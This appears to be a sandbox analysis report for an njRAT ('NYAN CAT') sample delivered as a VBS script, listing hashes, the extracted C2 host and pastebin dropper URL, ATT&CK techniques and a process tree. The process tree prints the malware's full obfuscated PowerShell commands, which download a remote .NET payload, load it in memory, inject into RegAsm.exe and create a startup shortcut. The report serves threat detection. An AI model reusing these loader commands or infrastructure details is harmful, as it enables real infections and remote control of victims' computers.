njrat | 48bb80b78ab20e88487589c0d691bd65a8d40f785d2d18d54c06bbedd09ca559

Analysis

max time kernel
147s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
04-10-2024 01:25

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General

Target

48bb80b78ab20e88487589c0d691bd65a8d40f785d2d18d54c06bbedd09ca559.vbs
Size

15.4MB
MD5

3ac2f2a9e0ea75fabc9cd17a6cfad0c5
SHA1

918caec409f9a49bc055bbfb02d458c131724c83
SHA256

48bb80b78ab20e88487589c0d691bd65a8d40f785d2d18d54c06bbedd09ca559
SHA512

be4ce3a8489eb2ac441a9ea7c61f93f1b64a4e8435f8bcfbad0c0d83fcc1b7d6e6b5c3b0309616b7ed2bcbd173ce5427e257e14dc84e491766ffbc51af3a1327
SSDEEP

192:9HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHM:qXmHsr0+uF8

Score

10^/10

njrat nyan cat discovery execution trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://pastebin.com/raw/V9y5Q5vv

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

michael2009nj.duckdns.org:2828

Mutex

bf4e531b630e4de6ab2

Attributes

reg_key
bf4e531b630e4de6ab2
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Blocklisted process makes network request 6 IoCs

flow	pid	Process
7	3108	powershell.exe
8	3108	powershell.exe
10	3108	powershell.exe
16	3108	powershell.exe
25	3108	powershell.exe
29	3108	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\___Invictus_________________________________________-------.lnk	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1536	powershell.exe
3108	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
8	pastebin.com
9	bitbucket.org
10	bitbucket.org
6	pastebin.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3108 set thread context of 3112	3108	powershell.exe	87

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1536	powershell.exe
1536	powershell.exe
3108	powershell.exe
3108	powershell.exe
2352	powershell.exe
2352	powershell.exe

Suspicious use of AdjustPrivilegeToken 38 IoCs

description	pid	Process
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeDebugPrivilege	3108	powershell.exe
Token: SeDebugPrivilege	2352	powershell.exe
Token: SeDebugPrivilege	3112	RegAsm.exe
Token: 33	3112	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3112	RegAsm.exe
Token: 33	3112	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3112	RegAsm.exe
Token: 33	3112	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3112	RegAsm.exe
Token: 33	3112	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3112	RegAsm.exe
Token: 33	3112	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3112	RegAsm.exe
Token: 33	3112	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3112	RegAsm.exe
Token: 33	3112	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3112	RegAsm.exe
Token: 33	3112	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3112	RegAsm.exe
Token: 33	3112	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3112	RegAsm.exe
Token: 33	3112	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3112	RegAsm.exe
Token: 33	3112	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3112	RegAsm.exe
Token: 33	3112	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3112	RegAsm.exe
Token: 33	3112	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3112	RegAsm.exe
Token: 33	3112	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3112	RegAsm.exe
Token: 33	3112	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3112	RegAsm.exe
Token: 33	3112	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3112	RegAsm.exe
Token: 33	3112	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3112	RegAsm.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4112 wrote to memory of 1536	4112	WScript.exe	83
PID 4112 wrote to memory of 1536	4112	WScript.exe	83
PID 1536 wrote to memory of 3108	1536	powershell.exe	85
PID 1536 wrote to memory of 3108	1536	powershell.exe	85
PID 3108 wrote to memory of 2352	3108	powershell.exe	86
PID 3108 wrote to memory of 2352	3108	powershell.exe	86
PID 3108 wrote to memory of 3112	3108	powershell.exe	87
PID 3108 wrote to memory of 3112	3108	powershell.exe	87
PID 3108 wrote to memory of 3112	3108	powershell.exe	87
PID 3108 wrote to memory of 3112	3108	powershell.exe	87
PID 3108 wrote to memory of 3112	3108	powershell.exe	87
PID 3108 wrote to memory of 3112	3108	powershell.exe	87
PID 3108 wrote to memory of 3112	3108	powershell.exe	87
PID 3108 wrote to memory of 3112	3108	powershell.exe	87

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\48bb80b78ab20e88487589c0d691bd65a8d40f785d2d18d54c06bbedd09ca559.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J☆B4☆Hc☆cQB6☆Hg☆I☆☆9☆C☆☆Jw☆w☆DM☆Jw☆7☆CQ☆YgB4☆HY☆YwBy☆C☆☆PQ☆g☆Cc☆JQBw☆Ho☆QQBj☆E8☆ZwBJ☆G4☆TQBy☆CU☆Jw☆7☆Fs☆UwB5☆HM☆d☆Bl☆G0☆LgBO☆GU☆d☆☆u☆FM☆ZQBy☆HY☆aQBj☆GU☆U☆Bv☆Gk☆bgB0☆E0☆YQBu☆GE☆ZwBl☆HI☆XQ☆6☆Do☆UwBl☆HI☆dgBl☆HI☆QwBl☆HI☆d☆Bp☆GY☆aQBj☆GE☆d☆Bl☆FY☆YQBs☆Gk☆Z☆Bh☆HQ☆aQBv☆G4☆QwBh☆Gw☆b☆Bi☆GE☆YwBr☆C☆☆PQ☆g☆Hs☆J☆B0☆HI☆dQBl☆H0☆OwBb☆FM☆eQBz☆HQ☆ZQBt☆C4☆TgBl☆HQ☆LgBT☆GU☆cgB2☆Gk☆YwBl☆F☆☆bwBp☆G4☆d☆BN☆GE☆bgBh☆Gc☆ZQBy☆F0☆Og☆6☆FM☆ZQBj☆HU☆cgBp☆HQ☆eQBQ☆HI☆bwB0☆G8☆YwBv☆Gw☆I☆☆9☆C☆☆WwBT☆Hk☆cwB0☆GU☆bQ☆u☆E4☆ZQB0☆C4☆UwBl☆GM☆dQBy☆Gk☆d☆B5☆F☆☆cgBv☆HQ☆bwBj☆G8☆b☆BU☆Hk☆c☆Bl☆F0☆Og☆6☆FQ☆b☆Bz☆DE☆Mg☆7☆Fs☆QgB5☆HQ☆ZQBb☆F0☆XQ☆g☆CQ☆agBr☆G8☆cwBz☆C☆☆PQ☆g☆Fs☆cwB5☆HM☆d☆Bl☆G0☆LgBD☆G8☆bgB2☆GU☆cgB0☆F0☆Og☆6☆EY☆cgBv☆G0☆QgBh☆HM☆ZQ☆2☆DQ☆UwB0☆HI☆aQBu☆Gc☆K☆☆g☆Cg☆TgBl☆Hc☆LQBP☆GI☆agBl☆GM☆d☆☆g☆E4☆ZQB0☆C4☆VwBl☆GI☆QwBs☆Gk☆ZQBu☆HQ☆KQ☆u☆EQ☆bwB3☆G4☆b☆Bv☆GE☆Z☆BT☆HQ☆cgBp☆G4☆Zw☆o☆C☆☆K☆BO☆GU☆dw☆t☆E8☆YgBq☆GU☆YwB0☆C☆☆TgBl☆HQ☆LgBX☆GU☆YgBD☆Gw☆aQBl☆G4☆d☆☆p☆C4☆R☆Bv☆Hc☆bgBs☆G8☆YQBk☆FM☆d☆By☆Gk☆bgBn☆Cg☆JwBo☆HQ☆d☆Bw☆Do☆Lw☆v☆H☆☆YQBz☆HQ☆ZQBi☆Gk☆bg☆u☆GM☆bwBt☆C8☆cgBh☆Hc☆LwBW☆Dk☆eQ☆1☆FE☆NQB2☆HY☆Jw☆p☆C☆☆KQ☆g☆Ck☆OwBb☆HM☆eQBz☆HQ☆ZQBt☆C4☆QQBw☆H☆☆R☆Bv☆G0☆YQBp☆G4☆XQ☆6☆Do☆QwB1☆HI☆cgBl☆G4☆d☆BE☆G8☆bQBh☆Gk☆bg☆u☆Ew☆bwBh☆GQ☆K☆☆k☆Go☆awBv☆HM☆cw☆p☆C4☆RwBl☆HQ☆V☆B5☆H☆☆ZQ☆o☆Cc☆V☆Bl☆Gg☆dQBs☆GM☆a☆Bl☆HM☆W☆B4☆Fg☆e☆B4☆C4☆QwBs☆GE☆cwBz☆DE☆Jw☆p☆C4☆RwBl☆HQ☆TQBl☆HQ☆a☆Bv☆GQ☆K☆☆n☆E0☆cwBx☆EI☆SQBi☆Fk☆Jw☆p☆C4☆SQBu☆HY☆bwBr☆GU☆K☆☆k☆G4☆dQBs☆Gw☆L☆☆g☆Fs☆bwBi☆Go☆ZQBj☆HQ☆WwBd☆F0☆I☆☆o☆Cc☆W☆B1☆E0☆TgB1☆FQ☆a☆Bp☆C8☆dwBh☆HI☆LwBt☆G8☆Yw☆u☆G4☆aQBi☆GU☆d☆Bz☆GE☆c☆☆v☆C8☆OgBz☆H☆☆d☆B0☆Gg☆Jw☆g☆Cw☆I☆☆k☆GI☆e☆B2☆GM☆cg☆g☆Cw☆I☆☆n☆F8☆XwBf☆Ek☆bgB2☆Gk☆YwB0☆HU☆cwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆LQ☆t☆C0☆LQ☆t☆C0☆LQ☆n☆Cw☆I☆☆k☆Hg☆dwBx☆Ho☆e☆☆s☆C☆☆Jw☆x☆Cc☆L☆☆g☆Cc☆UgBv☆GQ☆YQ☆n☆C☆☆KQ☆p☆Ds☆';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('☆','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\48bb80b78ab20e88487589c0d691bd65a8d40f785d2d18d54c06bbedd09ca559.vbs');powershell $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$xwqzx = '03';$bxvcr = 'C:\Users\Admin\AppData\Local\Temp\48bb80b78ab20e88487589c0d691bd65a8d40f785d2d18d54c06bbedd09ca559.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $jkoss = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($jkoss).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('XuMNuThi/war/moc.nibetsap//:sptth' , $bxvcr , '___Invictus_________________________________________-------', $xwqzx, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Drops startup file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3108
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Copy-Item 'C:\Users\Admin\AppData\Local\Temp\48bb80b78ab20e88487589c0d691bd65a8d40f785d2d18d54c06bbedd09ca559.vbs' -Destination 'C:\Users\Admin\AppData\Local\Temp\'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2352
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
eedeb218af57d184b7a06908d84e1f4f

SHA1
da8c874abd286ac085f7105d3d9da30336b09509

SHA256
f514ecbc9a8915c19aab328ecb319f730ddaf6d6d35cbf7b67bcdd00a4a75d80

SHA512
3be9e8b318be85f46692414419847147d9be948e0178962e95ce32899c52a6f26ec94e464a69770bc7a212681f24657222eae14646e484b2d0423076784ec29c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3d3cnsxg.ndb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1536-12-0x00007FFA585E0000-0x00007FFA590A1000-memory.dmp

Filesize
10.8MB

Download
memory/1536-0-0x00007FFA585E3000-0x00007FFA585E5000-memory.dmp

Filesize
8KB

Download
memory/1536-11-0x00007FFA585E0000-0x00007FFA590A1000-memory.dmp

Filesize
10.8MB

Download
memory/1536-1-0x000002D403A50000-0x000002D403A72000-memory.dmp

Filesize
136KB

Download
memory/1536-42-0x00007FFA585E0000-0x00007FFA590A1000-memory.dmp

Filesize
10.8MB

Download
memory/3108-22-0x000001477C4D0000-0x000001477C4D8000-memory.dmp

Filesize
32KB

Download
memory/3108-35-0x000001477C680000-0x000001477C68A000-memory.dmp

Filesize
40KB

Download
memory/3112-36-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/3112-43-0x0000000005500000-0x000000000559C000-memory.dmp

Filesize
624KB

Download
memory/3112-44-0x0000000005B50000-0x00000000060F4000-memory.dmp

Filesize
5.6MB

Download
memory/3112-45-0x0000000005720000-0x00000000057B2000-memory.dmp

Filesize
584KB

Download
memory/3112-46-0x00000000056C0000-0x00000000056CA000-memory.dmp

Filesize
40KB

Download
memory/3112-47-0x0000000005920000-0x0000000005986000-memory.dmp

Filesize
408KB

Download